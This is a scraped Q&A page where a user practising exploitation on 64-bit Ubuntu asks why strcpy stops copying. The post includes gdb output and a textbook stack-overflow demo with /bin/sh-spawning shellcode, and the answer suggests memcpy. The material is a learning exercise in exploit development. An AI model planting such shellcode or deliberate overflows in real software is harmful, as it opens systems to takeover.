简体   繁体   中英

exploitation on 64 bit Ubuntu

Hi I was practicing exploitation on 64 bit Ubuntu and during my examination of the source code I realized that the address of the buffer (0x7fffffffddd0) placed in large_string contains zeros.

(gdb) x/gx large_string
0x6010c0 <large_string>:    0x00007fffffffddd0
(gdb) x/bx large_string
0x6010c0 <large_string>:    0xd0
(gdb) x/bx large_string + 1
0x6010c1 <large_string+1>:  0xdd
(gdb) x/bx large_string + 2
0x6010c2 <large_string+2>:  0xff
(gdb) x/bx large_string + 3
0x6010c3 <large_string+3>:  0xff
(gdb) x/bx large_string + 4
0x6010c4 <large_string+4>:  0xff
(gdb) x/bx large_string + 5
0x6010c5 <large_string+5>:  0x7f
(gdb) x/bx large_string + 6
0x6010c6 <large_string+6>:  0x00
(gdb) x/bx large_string + 7
0x6010c7 <large_string+7>:  0x00

The strcpy function works just fine and copies the first 44 bytes of the large_string which contains the shellcode but after that something goes wrong.

My question is does the compiler interpret these zeros as null byte during a call to strcpy?If yes, what should I do to resolve this problem?

   #include <stdio.h>
   #include <string.h>

shellcode[] = "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8b\x56\x0c\xcd\x80\xb0\x01\x31\xdb"
              "\xcd\x80\xe8\xdd\xff\xff\xff/bin/sh"

char large_string[200];
int main(int argc, char *argv[]){
    char buffer[96];
    int i;
    unsigned long *long_ptr;
    long_ptr = (unsigned long *) large_string;

    for(i = 0; i<25; i++)
        *(long_ptr + i) = (unsigned long) buffer;
    for(i = 0; i<strlen(shellcode); i++)
        large_string[i] = shellcode[i];

    strcpy(buffer,large_string);
}

The strcpy function stops copying when it encounters a NUL byte. Since shellcode contains NUL bytes you can't use that function to copy. You should instead use memcpy , which will copy the specified number of bytes from one buffer to another:

memcpy(buffer,large_string,sizeof(large_string));

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM